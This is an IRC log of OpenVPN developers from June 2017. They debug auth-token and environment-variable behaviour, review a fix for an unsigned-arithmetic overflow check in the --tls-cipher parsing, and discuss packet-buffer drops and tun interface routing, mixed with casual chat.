:P 11:15 <@dazo> CRCinAU: well, you can handle token expiry on the server side fairly simply .... by tracking each session 11:16 <@dazo> (which --auth-gen-token actually can do) 11:16 < CRCinAU> dazo: yeah - but as no state is saved between tokens, it makes live difficult... 11:16 < CRCinAU> I really don't want to go into temp files for storing data for users :\ 11:17 <@dazo> sqlite! 11:17 <@dazo> ;-) 11:17 < CRCinAU> memcached ;) 11:17 <@dazo> yeah :) 11:17 <@dazo> CRCinAU: you could have a quick look at my auth plug-in .... http://www.eurephia.net/ :) 11:17 <@vpnHelper> Title: eurephia :: a flexible OpenVPN authentication module (at www.eurephia.net) 11:18 < CRCinAU> looks interesting. 11:19 < CRCinAU> dazo: bugfix: Your wiki is dead. 11:20 <@dazo> eek .... need to move that hosting away from sf.net :/ 11:20 * CRCinAU starts firing off work for people again ;) LOL 11:20 <@dazo> hehe 11:20 < CRCinAU> I'm guessing how the config happens and that kinda stuff was in the wiki? 11:21 <@dazo> but ... even though the developement of eurephia have stalled for a while ... it's still running in production a few places I manage ... and still being rock solid 11:21 <@dazo> actually, look at the docs 11:21 < CRCinAU> stalled.... https://www.youtube.com/watch?v=O2ulyJuvU3Q :P 11:22 <@dazo> hahaha 11:22 < CRCinAU> don't ask why that's been playing here for over 30 minutes........ 11:23 <@dazo> sleep deprived? 11:23 < CRCinAU> yeah :\ 11:23 < CRCinAU> I really should sleep.... 6h15m until the alarm goes off for work... 11:24 <@dazo> oh .... that would be long good night for me :-P 11:25 < CRCinAU> but yeah - I'm happy with the progress on that yubikey thing.... 11:25 < CRCinAU> less than 24 hours from concept to complete. 11:25 <@dazo> :) 11:25 < CRCinAU> and it means I can remove all the custom pam stuff I was using for it 11:27 < CRCinAU> part of my todo list later today at work is to try and debug why WPA2 Enterprise + PEAP/GTC isn't working in Fedora 26. 11:27 < CRCinAU> but worked in F25. 11:28 < CRCinAU> gotta get packet dumps of a working connection in F25 for the BZ report 11:29 < CRCinAU> but the real question...... Why does Keyboard Cat look so smug when he finishes his riff on the keyboard ;) 11:40 * dazo heads home ... back in the evening again 11:55 <@cron2> dazo: would eurephia be recommended for "use a radius backend", or go for radiusplugin? 12:44 <@cron2> syzzer: your "Skip tls-crypt unit tests if required crypto mode not supported" patch confuses me 13:01 <@vpnHelper> RSS Update - gitrepo: Skip tls-crypt unit tests if required crypto mode not supported <https://github.com/OpenVPN/openvpn/commit/534c8f24bd8ceeaebb326f53363a4e40e970df1e> 14:47 < SviMik> Hi! 14:47 < SviMik> Did someone played with the Steffan's recvmmsg() patch or did any other attempts to adopt the sendmmsg/recvmmsg functions? 14:48 < SviMik> Just found his patch in the mailing list archive, looks interesting 14:49 < SviMik> https://sourceforge.net/p/openvpn/mailman/message/35626067/ 14:49 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 14:53 < SviMik> syzzer have you done anything since then or it is the up-to-date version of this patch? 16:14 <@cron2> syzzer: I think I got it sorted out - the three patches are all for the same "issue", right? 16:33 <@ordex> d12fk: did you send the email for the hackathon? not sure you got my email address 20:40 < CRCinAU> so the verdit is in.... 20:41 < CRCinAU> openvpn should handle the auth-token internally and not bother the management interface. --- Day changed Tue Jun 13 2017 02:56 <@syzzer> cron2: correct 02:57 <@cron2> syzzer: ah, good morning 02:58 <@cron2> staring at your "long tls-cipher" patch right now, and I can't make sense of it 02:59 <@cron2> ah 02:59 <@cron2> wait 03:00 <@cron2> ignore me :) 03:00 <@cron2> (still trying to figure out where the integer over/underflow happens - I can see that the patch works, but trying to really understand what happens) 03:00 <@cron2> but now I have to drive kid to fun park 03:03 <@cron2> ok... 03:04 <@cron2> why is the left side of the "<" treated as unsigned? (which seems to be the issue, it evaluates to "-1", and then "if (-1 < current_cipher_len)" is "false", wtf 03:06 <@cron2> ... and: why are you always so keen on doing these checks with "-", if the range of the variables is well-known? Like 03:06 <@cron2> if ( openssl_ciphers_len + current_cipher_len > sizeof(...)-1 ) is totally and perfectly overflow-save *and* easy to grok... 03:09 <@cron2> ah... the second patch actually has that comparison (just the other way round), plus an extra safety-check on "unbounded current_cipher_len" 03:18 <@syzzer> cron2: yeah, the old code was a failed attempt to be smart about it and do it in a single comparison 04:03 < CRCinAU> syzzer: I found this many years ago.... being smart always fails ;) 04:04 < CRCinAU> that being said, today I wrote ~30 lines of perl and solved about 6 critical problems in my project :) 04:04 < CRCinAU> (no, having it written in perl wasn't all 6 critical problems) :p 04:07 <@syzzer> CRCinAU: yeah, I figured that out in the mean time too 04:24 * cron2 still wonders why the left side ends up being unsigned, but takes note to be extra-wary in future :) 04:25 <@cron2> syzzer: ist that 2.4/master only or 2.3 as well? 04:28 <@cron2> .. all of them 04:33 <@cron2> interesting, 2.3 has different error messages 04:33 <@cron2> Tue Jun 13 11:25:25 2017 No valid translation found for TLS cipher 'a' 04:33 <@cron2> Tue Jun 13 11:25:25 2017 No valid translation found for TLS cipher '' 04:33 <@cron2> Tue Jun 13 11:25:25 2017 No valid translation found for TLS cipher 'PAYLOAD' 04:33 <@cron2> Tue Jun 13 11:25:25 2017 Failed to set restricted TLS cipher list, too long (>4095). 04:41 <@vpnHelper> RSS Update - gitrepo: openssl: fix overflow check for long --tls-cipher option <https://github.com/OpenVPN/openvpn/commit/e6bf7e033d063535a4414a4cf49c8f367ecdbb4f> 04:55 * cron2 is afk again 04:58 <@syzzer> cron2: it's 2.3 too, but I see you figured that out already 04:58 <@syzzer> is becomes unsigned because there's a size_t involved (return value of sizeof()) 04:58 <@syzzer> C integer promotion rules then demand that the arithmetic becomes unsigned 05:00 <@cron2> that is something I didn't know (but it had to be something like that) 05:00 <@cron2> *memorize* 09:14 <@plaisthos> cron2: the connection ishould not be important as it only manifests at config reading time 09:14 <@plaisthos> dazo: yeah, the patches do the same, you can take the ack for both 09:24 <@cron2> re - plaisthos: long merged :) - it was in my way on sunday, so I wanted to get it out 09:39 <@cron2> syzzer: I really need to figure out how to tell vim not to do auto-space-tab-substitution 09:55 <@syzzer> :set expandtab! 09:55 <@syzzer> ? 09:56 <@ordex> aloha 09:57 <@syzzer> good morning :) 09:57 <@syzzer> (is is morning over there? :-p ) 09:58 <@ordex> haha I am in your timezone right now :) 09:58 <@cron2> not sure that's the one ... vi does not seem to *have* such an option... wtf... 09:58 <@syzzer> ah vi, not vim 09:58 <@syzzer> this I don't know 09:58 <@cron2> proper editor, of course :) but I'm sure it has one, I just can't find it 11:53 * CRCinAU prods dazo with an auth-token ;) 15:35 <@cron2> CRCinAU: he's hiding :-/ - I have thrown some work at him as well 19:53 * slypknot wonders: how many years it will take before IPv4 is no longer used on this planet .. 20:20 < CRCinAU> cron2: hahaha nice :) 20:21 < CRCinAU> slypknot: there is no shortage of IPv4 addresses :) 20:21 < CRCinAU> I've got more than I know what to do with 21:06 < slypknot> hey CRCinAU :) 21:07 < slypknot> i wonder if the code for ipv4 will ever completely go away 21:07 < slypknot> ipv6 is gonna take over 21:12 < slypknot> it probably already has done 22:23 < CRCinAU> nah 22:24 < CRCinAU> IPv4 will never die 22:24 < CRCinAU> hell, you can't even get IPv6 with many ISPs in Australia.... 22:24 < CRCinAU> I do, but I'm special :p 22:26 < slypknot> CRCinAU: my toaster disagrees 22:28 < slypknot> unless Oil runs out .. lol --- Day changed Wed Jun 14 2017 02:48 <@ordex> morning :) 03:03 < CRCinAU> morning 04:42 < CRCinAU> urhg. 04:42 < CRCinAU> what a frigging day 04:51 < CRCinAU> dazo: See, I don't just make life hard for you 04:51 < CRCinAU> https://bugs.kde.org/show_bug.cgi?id=381180 04:51 <@vpnHelper> Title: 381180 UI is horrible over ssh + X-Forward connection (at bugs.kde.org) 04:51 < CRCinAU> https://bugs.kde.org/show_bug.cgi?id=381181 04:51 <@vpnHelper> Title: 381181 akonadiserver is launched every time kmail starts via SSH X-Forwarding. (at bugs.kde.org) 04:51 < CRCinAU> etc ;) 06:39 < CRCinAU> dazo: and even more: 06:40 < CRCinAU> https://bugzilla.redhat.com/show_bug.cgi?id=1461391 06:40 <@vpnHelper> Title: Bug 1461391 vsftp.target fails in an attempted ipv4 + ipv6 config (at bugzilla.redhat.com) 06:40 < CRCinAU> I think my role in life is to create work for people. 06:46 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 268 seconds] 06:59 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 07:12 <@syzzer> /quit 07:17 <@cron2> syzzer: you can't quit so easily :) 07:46 < CRCinAU> s/so easily/ever/g 10:05 <@syzzer> CRCinAU, cron2: heh, that's whay I feared - will have to stick around a bit longer then 10:33 < CRCinAU> hrrrm 10:33 < CRCinAU> so heres an interesting one..... 10:34 < CRCinAU> the 'username' env variable is not included in the client-connect script 11:12 < slypknot> CRCinAU: yes it is .. 11:13 < CRCinAU> negative ghost rider. 11:13 < CRCinAU> its there on the user-pass-verify - but not client-connect 11:26 * CRCinAU prods dazo with an auth-token ;) 11:32 < CRCinAU> but now, its nearly 2:24am.... so I need sleep after a hard days developing :\ 11:56 <@ordex> d12fk: u there ? 12:01 <@ordex> CRCinAU: I think the reason why you don't get the username is because of: auth-user-pass-verify /etc/openvpn/yubikey-auth-tokens via-file 12:01 <@ordex> CRCinAU: this is what I understood from the man page at the 'username' env variable description 12:02 <@ordex> CRCinAU: the man might be misleading, so I might be wrong, but my understanding is that by using via-file, the username is not stored in the env var for the various scripts 12:07 < CRCinAU> ordex: the username is there in the env for auth-user-pass-verify - even with via-file 12:07 < CRCinAU> but it isn't in the client-connect env.... 12:07 < CRCinAU> Bug or Feature? Yes! ;) 12:08 <@ordex> hehe 12:09 < CRCinAU> anyway - I got distracted with F26 getting kde plasma 5.10.1 in the repo an hour ago 12:09 < CRCinAU> I really should sleep :\ 12:10 <@ordex> :P good idea 12:15 <@ordex> CRCinAU: when doing via-file, the username should really not be set (due to security reasons) 12:16 <@ordex> CRCinAU: if you really have it set, I'd say it is a bug. but then it is weird you don't have it later 12:56 < slypknot> according to the manual :: $username (and $password) only when the via-env modifier is specified 12:56 < slypknot> so i guess ordex is right about the via-file thing 13:37 <@cron2> syzzer: if you have a few minutes, I'm still puzzled about the "Skip tls-crypt unit tests" patch 14:55 <@ordex> cron2: I am trying to decrypt your message to the ml about the diagram 14:55 <@ordex> decrypt == understand 14:56 <@ordex> openvpn can be imagined as the "driver" behind the tun0 interface. after a packet has entered tun0 it then goes to openvpn without being firwall'd/routed again, no? 14:57 <@ordex> I think the text was a bit misleading, but the last diagram sent by the guy reflects what I was trying to say 14:59 <@cron2> ordex: well, "entered tun0" is already not a very precise term 15:00 <@ordex> right 15:00 <@cron2> I would phrase it as: the kernel decides which interface a packet is sent to. If that happens to be tun0, it applies OUTPUT iptables rules for tun0 to it, and then stuffs it into the file descriptor that read_tun() is reading from, inside openvpn. After openvpn has received it, it's gone from the linux side of packet handling, and in the openvpn black box 15:00 <@ordex> right 15:01 <@ordex> this is the part we were discussing 15:01 <@ordex> "from the linux side to the openvpn blackbox" 15:01 <@cron2> and openvpn is *not* the "driver" of tun0 - the driver is "stuff it into a file descriptor" 15:01 <@ordex> yeah it was a simplification 15:02 <@ordex> btw my point was that between "the linux side" and "the openvpn blackbox" there is no iptables/routing 15:02 <@cron2> but that's a very important distinction, given the "linux kernel routing tables" and "openvpn iroute tables" always confuses people 15:02 <@cron2> well, whether or not there is iptables "between" depends on what you call "between" 15:03 <@cron2> I see the boundary between "the linux side" and "the openvpn blackbox" as "the tun0 interface", and that *has* iptables 15:03 <@ordex> dunno - my comment was about the diagram the guy sent 15:03 <@ordex> and that he fixed afterwards 15:03 <@ordex> I wasn't trying to be create an extremely correct sentence 15:03 <@ordex> :P 15:04 <@cron2> ah, so that was not a statement of truth, but pointing out omission in the diagram - now I understand your point :) 15:04 <@ordex> yup correct 15:04 <@cron2> good :) 15:04 <@ordex> :P 15:04 <@ordex> hehe 15:04 <@ordex> I jhad the feeling there was some misunderstanding also because you mentioned the INPUT chain, which couldn't be involved in that part of the diagram 15:04 <@ordex> anyway, fine now :) 20:26 < CRCinAU> ordex, slypknot: I guess it would be a bug if username is not supposed to be set in the environment when the auth-user-pass-verify is used with via-file 20:27 < CRCinAU> unless its a side effect of using script security 2 20:29 < CRCinAU> however, it only says: 2 -- Allow calling of built-in executables and user-defined scripts. 20:29 < CRCinAU> which doesn't mention shoving the username in $ENV 20:32 < CRCinAU> the docs for --auth-user-pass-verify cmd method also don't mention the env for level 2 21:09 < slypknot> CRCinAU: rtm 21:12 < CRCinAU> I did. 21:12 < CRCinAU> result inconclusive :P 23:53 < CRCinAU> anyhow - I posted to openvpn-devel asking the question.... see what comes of it --- Day changed Thu Jun 15 2017 02:56 <@cron2> CRCinAU: next time, you can do the source reading yourself :) 03:01 < CRCinAU> cron2: the nature of the source is not the question :P 03:01 < CRCinAU> the "should it do what it is doing or not" is not related to what the code actually says :P 03:02 < CRCinAU> personally, I would think that if via-file is set, you shouldn't get the username via the env. 03:03 <@cron2> why not? 03:03 < CRCinAU> as the username / password is read from the file provided as R1 03:03 < CRCinAU> err $1 03:03 < CRCinAU> So the script should read the username from the file - as that's what the setting is about. 03:03 < CRCinAU> if you use via-env, then yes, the username should be in the env. 03:04 < CRCinAU> but there's also the fact that script-security needs to be 2 to get the password set in the env. 03:04 < CRCinAU> errrr script-security 3 03:05 < CRCinAU> otherwise, with via-env and script-security 2, you only get the username in the env.... no password. 03:05 < CRCinAU> via-env + script-security 3 gives you username / password in the env. 03:07 < CRCinAU> in other words, via-env + script-security 2 and via-file + script-security 2 give you the same result in the env.... username set, password not. 03:08 <@cron2> well, it's you who was missing username in the env... so I'm not sure I follow why you do not want to have it now? 03:08 < CRCinAU> cron2: clear as mud? :P 03:08 <@cron2> the password is the sensitive bit 03:08 < CRCinAU> agreed - but it seems like a rather complex web of interaction. 03:09 < CRCinAU> imho, via-file should mean both username & password are sent only via the file. 03:09 < CRCinAU> via-env means you should only get them via env - but the extra step of setting a 'higher' security level to acheive that. 03:12 <@cron2> you're sidestepping the original question "why are you not seeing username in client-connect" 03:13 <@cron2> the code as it is now seems to do exactly what you've just said it should do 03:20 < CRCinAU> I just think it should be consistent. ie it either appears for both, or none 03:20 < CRCinAU> I certainly could use it if it was present in the client-connect 03:20 < CRCinAU> especially to help with entropy for auth-token generation. 03:20 < CRCinAU> granted, it isn't much - but its yet another variable factor 03:31 <@cron2> CRCinAU: but it *is* consistent today...? 03:31 < CRCinAU> its consistently inconsistent ;) 03:31 <@cron2> no, it isn't - it's exactly as you ask for - either it's "both in the env" or "nothing in the env" 03:31 <@cron2> (leaving out script-security for the moment) 03:32 < CRCinAU> I think you misunderstand... via-file still sets the username in env. 03:32 < CRCinAU> whereas client-connect doesn't get a username 03:32 <@cron2> that would very much surprise me, as there is nothing in the code that would so so 03:33 <@cron2> look at ssl_verify.c, verify_user_pass_script() - there's either a setenv for both, or for neither 03:33 < CRCinAU> well, something else is inserting it in the auth-verify-user-pass environment then - cos username *is* present in the env. 03:34 <@cron2> are you using an auth plugin? 03:34 < CRCinAU> even when using via-file 03:34 < CRCinAU> negative. 03:34 <@cron2> or management interface? 03:34 < CRCinAU> but I did a dump of %ENV in perl in my yubikey script. 03:34 < CRCinAU> no management interface 03:36 < CRCinAU> so to make sure I'm clear: 03:36 <@cron2> please compile with CFLAGS+=-DDEBUG_VERBOSE_SETENV 03:36 < CRCinAU> auth-verify-user-pass *DOES* have the username set in the env. 03:36 <@cron2> that should tell where this is coming from - so I'm obviously misreading the code here 03:36 < CRCinAU> client-connect *DOES NOT* have the username set in the env. 03:37 < CRCinAU> but there's no via-env or via-file option to client-connect. 03:37 < CRCinAU> cron2: that's why I'm thinking it may be a bug. 03:37 <@cron2> as far as I read the code (and the env passing is a tad complex) it should *not* be set to auth-verify-user-pass, but *iff* it is set, it should stick 03:37 < CRCinAU> I wonder if somewhere in script-security 2 sets the username 03:37 <@cron2> script-security <n> just sets an integer :) 03:38 < CRCinAU> tbh though, I'm a noob and use dazo's packages from EPEL / Fedora :p 03:38 <@cron2> now you'll have to learn something new :) 03:38 < CRCinAU> my plate is somewhat full on that front atm :\ 03:40 < CRCinAU> I managed to hammer out my yubikey code on a public holiday where I didn't have to work :P 03:40 < CRCinAU> plus it replaces a ton of ugly hacks I had to use for PAM to get it working with the Yubikey 03:43 <@cron2> well... my plate is more than just full :-) - so I help as time permits, but I can't set up a full test setup with scripts right now just to see where this env var is coming from 03:44 < CRCinAU> yeah - I can easily provide dumps of the ENV - but trying to build debug builds is kinda beyond my free time atm 06:51 < CRCinAU> I'd believe that using XRender, it is actually rendering the FPS it says to the display 08:56 < slypknot> mbuf.c line:101 "MBUF: mbuf packet dropped" but no reason why .. what can cause this ? 10:19 <@ordex> cron2: I feel like there is a bit of confusion now on the mailing list about the diagram? :P 10:19 <@ordex> cron2: I said that we clarified on IRC and 20 minutes afterwards you write the opposite :D 10:23 <@ordex> maybe you want to check the difference with his v3 10:26 < CRCinAU> well, the fun part.... now I can't get the username to appear in the env at all using auth-user-pass-verify. 10:26 < CRCinAU> which is good when using via-file 10:26 < CRCinAU> I wonder if I had an older config in place and I didn't restart the daemon 10:27 < CRCinAU> but I'm sure I did it several times - as that's how I initiall wrote the script - even though I used via-file when writing it.... 10:58 <@ordex> CRCinAU: are you sure the var was not being set by something external unrelated to openvpn? not sure how this could end up in the script env .. but might be an idea 11:07 < CRCinAU> ordex: I wonder if this happened to be while I still had the PAM plugin enabled.... 11:07 < CRCinAU> ie I wasn't using it - since I was dev'ing the script 11:07 < CRCinAU> but maybe that was setting it in the env.... 11:08 <@ordex> can't rule it out 11:12 < CRCinAU> hahahah YEP 11:12 < CRCinAU> there it is. 11:12 < CRCinAU> as soon as I added this line in the config: 11:12 < CRCinAU> plugin /usr/lib64/openvpn/plugins/openvpn-plugin-auth-pam.so openvpn 11:13 < CRCinAU> the username env variable appeared again 11:13 < CRCinAU> yep - comment that line out, bingo.... no username variable 11:14 < CRCinAU> that's been bugging me all day :p 11:14 <@ordex> :P 11:15 <@ordex> I'd suggest to report that to the ml hehe 11:17 < CRCinAU> curious about why it appears there, but not the client-connect. 11:17 < CRCinAU> maybe it calls the plugin, then the script with the same env? 11:18 < CRCinAU> still, bug or feature? lol 11:20 < CRCinAU> I'm being annoying and asking now if the theory states that the plugin environment is supposed to carry to the script 11:21 < CRCinAU> just strikes me as inconsistent behaviour :\ 11:21 < CRCinAU> ie if the plugin alters the env, and its supposed to, shouldn't the alterations be in client-connect too? 11:22 < CRCinAU> it it shouldn't be allowed, then its leaking into auth-user-pass-verify (and maybe others). 11:22 < CRCinAU> yay for being pedantic :P 11:23 <@ordex> hmhm 11:23 <@ordex> honestlly, I don't know what was the intended behaviour. I can only check the code to see what's the current one :P 11:24 < CRCinAU> oh I agree 100% - I don't think anyone knows the intention of it - hence 'bug or feature?' :P 11:24 <@ordex> when you talk about alterations, what do you mean? the plgin was changing the var and it was not reflected into the script ? you said the plugin was not really being used 11:24 < CRCinAU> oh - just that it was passing through - ie enabled, but not really doing anything 11:25 < CRCinAU> probably even an invalid pam context 11:25 < CRCinAU> it seems the plugin sets the var - as without the plugin, it isn't there. 11:26 < CRCinAU> yeah - there is no /etc/pam.d/openvpn file 11:26 < CRCinAU> hrrrm 11:26 < CRCinAU> is *that* a bug or feature? lol 11:27 < CRCinAU> I'm not even going to go there at 2:18am :D 11:28 < CRCinAU> ordex: so to give you an idea of my normal day..... today I was debugging some code that talks directly to Mastercard for credit card processing. 11:28 <@ordex> do you have any hair left? 11:29 <@ordex> :P 11:29 < CRCinAU> transaction goes to Mastercard.... comes back: 00 - APPROVED.... 00 - AUTHORIZED.... status: FAILED... ReturnVoid: Success. 11:29 <@ordex> btw if the plugin explicitly sets the variable, I would say it is a feature of the plugin 11:29 <@ordex> lol 11:29 <@ordex> :D 11:29 < CRCinAU> 00 is the magic code for 'everything was ok' 11:30 <@ordex> although the status is failed 11:30 <@ordex> ? 11:30 < CRCinAU> then - even though the transaction failed, when I try to resubmit under the same order number, it tells me I can't because that order was already approved successfully. 11:30 < CRCinAU> bug or feature? 11:30 < CRCinAU> Yes. 11:31 < CRCinAU> ie credit card transactions go: auth -> capture -> result. 11:31 <@ordex> lol 11:31 < CRCinAU> that makes this one: OK -> OK -> failed -> Void. 11:32 < CRCinAU> so that's what I have to debug tomorrow..... :\ 11:32 < CRCinAU> can't wait. *cough* 11:33 < CRCinAU> oh, and I have new patches for my stuff due tomorrow to patch up.... 11:33 < CRCinAU> ordex: my 'hobby' - https://xen.crc.id.au 11:33 <@vpnHelper> Title: Xen made Easy! (at xen.crc.id.au) 11:34 < CRCinAU> ad I've got a new Fedora openssl release that should hopefully fix WPA2 Enterprise logins to hardware that uses 3DES cipers :\ 11:35 < CRCinAU> need 28 hour 8 day weeks lol 11:36 <@ordex> lol 11:37 < CRCinAU> yet its 2:30am and I'm reading reddit.... 11:38 < CRCinAU> http://i.imgur.com/c4jt321.png 11:44 <@ordex> is that you? :P 11:46 < CRCinAU> maybe. :) 11:46 < CRCinAU> ok - I'm done. g'night. 11:52 <@ordex> goodnight :) 12:21 < slypknot> ordex: any idea what mbuf.c line 101 is telling us ? 12:24 < slypknot> looks like the it is the point at which ms->len == ms->capacity 12:24 < slypknot> but what is the cause ? 12:24 <@ordex> I have no idea. I'd need to read the entire context to try to understand 12:25 <@ordex> sounds like the buffer is full if that condition is true, no ? 12:25 < slypknot> it sounds like that to me as well :) 12:25 < slypknot> but what is the buffer ? 12:25 < slypknot> packet ? 12:26 <@ordex> need to track where it is coming from 12:26 < slypknot> how could I do that ? 12:26 < slypknot> fyi : https://forums.openvpn.net/viewtopic.php?f=30&t=24313 12:26 <@vpnHelper> Title: openvpn MBUF: mbuf packet dropped - OpenVPN Support Forum (at forums.openvpn.net) 12:27 < slypknot> my initial hunch is some MTU problem .. but I don't know what the buffer is 12:30 <@ordex> there are several spots where that function is invoked 12:30 <@ordex> I see he is using tcp 12:30 <@ordex> to narrow down, you may want to ask if this happens even with udp 12:33 <@ordex> slypknot: one theory can be that the TCP outgoing buffer for the socket is full and so packets are queued until they get dropped 12:33 <@ordex> so the message is just a symptom of the queue getting full 12:34 <@ordex> why this is happening … might need more digging - maybe not just in openvpn imho 12:34 <@ordex> but maybe somebody else has seen this issue already 12:34 < slypknot> that was another thought I was considering .. 12:34 < slypknot> in that guys server config there is "tcp-queue-limit 256" 12:35 < slypknot> suggesting there have been problems and someone has upped the limit as a work around 12:35 < slypknot> but still the server is too busy 12:36 <@ordex> could be 12:36 < slypknot> thanks for yr help :) 12:36 <@ordex> I think on linux you can also tune the socket sizes 13:08 <@cron2> CRCinAU: it's the plugin invocation. Remember that I asked you if there's a plugin involved? See, that's why 15:06 <@cron2> syzzer: is mbedtls: require C-string compatible types for 2.4/master only, or 2.3 as well? 20:05 < CRCinAU> cron2: yup.... I didn't realise that my reports were with the plugin enabled...... 20:05 < CRCinAU> it wasn't until last night I tweaked when I tinkered more and couldn't reproduce my initial results. 20:50 < danhunsaker> Alright, you guys are my go-to experts on this stuff. Internet security references, best practice type stuff, high level or specific implementation or anything in between, especially but not exclusively with emphasis on the web. What've you got? 21:32 <+krzee> danhunsaker: got a more specific question? 21:33 <+krzee> without more info id say pull the network cable(s) and hire an armed guard and you'll be very very secure 21:33 <+krzee> !shitgun 21:33 <+krzee> !shotgun 21:33 <+krzee> !factoids whatis #openvpn shotgun 21:33 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security, or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun. 21:36 < danhunsaker> Heh. Hard to list that as a For More Information reference in an article, but fair nonetheless. 21:39 < danhunsaker> Little weird I'm not at least voiced in here... Used to be opped, I think... 21:40 < danhunsaker> But yeah. 21:41 < danhunsaker> Sorry, didn't seem like insufficient data when I asked, but then I was deep in the headspace of the question, so... 21:42 < danhunsaker> Written an article about security when developing for the web. Not strictly the topic for this channel, but lots of the security stuff that applies here applies everywhere, so I figured I'd ask anyway, since you're the biggest group of security-minded individuals I interact with regularly. 21:43 < danhunsaker> Or, well, semi-regularly. 22:36 -!- mode/#openvpn-devel [+o krzee] by vpnHelper 22:36 -!- mode/#openvpn-devel [+v danhunsaker] by krzee 22:36 -!- mode/#openvpn-devel [-o krzee] by krzee 22:36 <+krzee> there ya go ;] 22:37 <+krzee> oh i see, since i dont devel webapps id give the generic advice of dont trust ANY inputs... but im sure you know that ;] 23:02 <+danhunsaker> Yeah, that's in there. :D 23:03 <+danhunsaker> Really trying to get developers to be more security-conscious, so I'm trawling wide for resources. Even general security guidelines articles work great. 23:04 <+danhunsaker> One of the links is to a checklist, actually. No details on what each item means, or why it's important. Just "do these things". --- Day changed Fri Jun 16 2017 00:25 <@cron2> CRCinAU: I do agree that this is somewhat confusing, that client-connect only sees the username if a plugin is enabled, management-interface is enabled, *or* via-env is enabled 00:25 <@cron2> (the reason why the environment sticks is what I call "global es") 01:42 < CRCinAU> dazo: Looks like I've just poked more work for people in 2.5 :P LOL 01:42 < CRCinAU> *sigh* 01:42 < CRCinAU> cron2: tbh - I didn't mean to stir up the hornets nest for asking about the env lol 01:57 <+krzee> danhunsaker: i may end up wrong, but i dont assume we have many webapp devs here 02:03 <+danhunsaker> Right. And if I was looking exclusively for that kind of stuff, I wouldn't have asked here. :P 02:04 <+danhunsaker> No worries, though. It was mostly a "never hurts to ask" thing than anything else. 02:04 <+danhunsaker> Er. *more than 02:13 <@cron2> CRCinAU: and I thought you were trying to see how long it takes to get banned here :-) 02:20 <@cron2> whee, httpdigest.c is also a nice source of interesting style variations 02:23 <@cron2> dazo: if I do a https:// repo with HTTP username+password - can git handle that? Because that would be trivial to set up 02:38 <@ordex> cron2: your fork() idea sounds intriguing :D (and probably more painful than what it sounds!) 02:41 <+danhunsaker> cron2: I think it can, actually... GitHub and BitBucket both use that approach, I believe. Well, alongside restricted SSH-based access. 02:42 <+danhunsaker> Pretty sure there's some special setup to get it all working properly, though, especially for pushes. 02:45 <+danhunsaker> ordex: Given that Windows doesn't actually support fork()ing? Yeah, pretty painful. 02:46 <@cron2> ordex: "it sounds more painful than it sounds"? 02:47 <+danhunsaker> Otherwise, though, fork()ing is actually pretty straightforward, and really neat stuff. If I don't need to support Windows, I swear by fork() for a number of things. 02:48 <@cron2> danhunsaker: on windows you do CreateProcess() or whatever it's called - and that can be made to work as well :) 02:48 <+danhunsaker> Oh, sure, you can hack around their lack of a proper fork(). 02:49 <@ordex> cron2: sorry, my english right after waking up is not the best :P 03:09 <@vpnHelper> RSS Update - gitrepo: Fix a null-pointer dereference in establish_http_proxy_passthru() <https://github.com/OpenVPN/openvpn/commit/14865773ad64d861128bc80ad44c37bdc307c996> 03:10 <@ordex> cron2: don't forget " [PATCH release/2.3] fix redirect-gateway behaviour when an IPv4 default route does not exist" - it is asking for some love :] 03:11 <@cron2> ordex: you're talking about commit 0b339bf9588a8bc? 03:11 <@ordex> oh was it commited ? let me check 03:12 <@ordex> cron2: yeah it is it. sorry. I didn't see any direct reply to that email, so I thought it was yet not applied 03:13 <@cron2> ordex: like this one? 03:13 <@cron2> Date: Thu, 18 May 2017 19:40:43 +0200 (CEST) 03:13 <@cron2> From: Gert Doering <gert@greenie.muc.de> 03:13 <@cron2> To: Antonio Quartulli <a@unstable.cc> 03:13 <@cron2> Subject: [Openvpn-devel] [PATCH applied] Re: fix redirect-gateway... 03:13 <@cron2> you shouldn't be spam-filtering me :) 03:13 <@ordex> but it is not a reply to the patch, right? it is a new email, no? 03:13 <@ordex> lol 03:13 <@ordex> hehe, can't exclude that :P 03:13 <@cron2> it has the in-reply-to, as always, and my mutt shows it as threaded... 03:14 <@ordex> oh ok, then it must be correct. I am sure my cr0ppy apple mail thing is just confused 03:19 <@ordex> ah! I am pretty sure that apple mail ignored the in-reply-to and considered it an unthreaded email because of the different subject 03:19 <@ordex> mah mah 03:19 <@ordex> cron2: sorry for the noise and thanks for checking with me :) 03:20 <@cron2> ordex: well, since that was a patch made on request, I should have better given it some love, no? ;-) 03:21 <@ordex> hehe yeah :) 03:49 <@vpnHelper> RSS Update - gitrepo: copyright: Update GPLv2 license texts <https://github.com/OpenVPN/openvpn/commit/caa54ac398db25b72d7d1d633d2ee330b5b8a3e9> 03:50 < CRCinAU> cron2: I'll just keep poking people with auth-tokens for that ;) 03:50 * CRCinAU pokes dazo with a broken access token ;) 03:51 < CRCinAU> tbh, I want to experiment with trying to create a secure-ish access token - but I can't do that until the auth-token part works 03:51 < CRCinAU> I need to validate that not only can I create a more secure auth-token, but that I can repeat it to validate the whole thing in the first place. 03:52 < CRCinAU> only issue there is that I can't rotate the auth-token as part of a reneg.... so there's that small issue - but eh..... 03:52 < CRCinAU> anyway - time for me to go home. 03:52 < CRCinAU> bbl 03:55 -!- mator is now known as oracle 03:55 -!- oracle is now known as mator 04:19 <@vpnHelper> RSS Update - gitrepo: dev-tools: Script generating the source releases in an automated fashion <https://github.com/OpenVPN/openvpn/commit/0776a8c60f1d68e72be2dcc30710855a855d1e0a> 05:53 * dazo starts the day with a git fetch-all ..... 05:55 <@dazo> cron2: would be good if the Copyright stuff would hit release/2.4 too ... it silences quite some noise from Fedora builders :) 05:55 <@dazo> duh 05:55 * dazo needs to look at the right branch 05:56 <@dazo> I looked at release/2.3 06:08 <@dazo> CRCinAU: what challenges do you have now? 06:52 <@dazo> *sigh* all that mysterious OpenSSL macro magic ... 07:00 < slypknot> I have just discovered that IPv4 is doing something similar (but not the same) as IPv6 where old routes are being added that are not pushed .. would you prefer a new ml thread or append to the IPv6 thread ? 07:06 < slypknot> or a trac ? 07:07 < slypknot> I think this should all 4&6 be moved to trac 07:12 <@ordex> slypknot: what's the thread subject ? 07:12 <@ordex> I think I obverlooked the ipv6 problem (just curious :)) 07:14 < slypknot> 